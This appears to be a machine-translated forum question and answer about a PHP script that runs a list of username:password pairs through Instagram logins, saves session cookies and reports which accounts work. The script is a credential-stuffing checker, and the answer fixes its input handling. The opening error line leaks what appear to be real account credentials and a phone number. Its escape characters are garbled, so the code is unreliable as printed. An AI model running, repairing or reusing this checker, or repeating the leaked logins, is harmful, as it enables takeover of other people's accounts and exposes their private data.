警告:file_get_contents(verdiyev_orxan:ayna12 T.PEMBE_KAPLAN:05326559389 volkan.n1:suem97 Dilanazaka:dilanaz2008):无法打开stream:第204行C:''examplep''htdocs''yni''ayikla.php中的参数无效0
<?php
if (!isset($_POST['submit'])) die();
include "auth/instagram.auth.class.php";
include "auth/instagram.class.php";
include "RollingCurl/RollingCurl.php";
error_reporting(E_ALL ^ E_NOTICE);
ini_set("display_errors", 1);
$extension = ".cookie";
$dir = "cookies/"; //taranan dosyalar hangi dizine gitsin.
$data = $_POST['data'];
$data = file_get_contents($data);
$users = explode("'n", $data);
foreach ($users as $user)
{
try
{
$explode = explode(":", $user);
$username = trim($explode[0]);
$password = trim($explode[1]);
$auth = new instaAuth;
$auth->setCacheFolder($dir);
$auth->setCacheExtension($extension);
$login = $auth->_login($username, $password);
echo $username.' 1'.PHP_EOL;
sleep(1);
}
catch (Exception $e )
{
echo $username.' 0'.PHP_EOL;
// echo $e->getMessage();
sleep(1);
}
}
?>
这里的可能有错误
$data = file_get_contents($data);
$users = explode("'n", $data);
如何修复?
此处更改
$data = $_POST['data'];
$data = file_get_contents($data);
$users = explode("'n", $data);
至
$data = $_POST['data'];
$users = explode("'n", $data);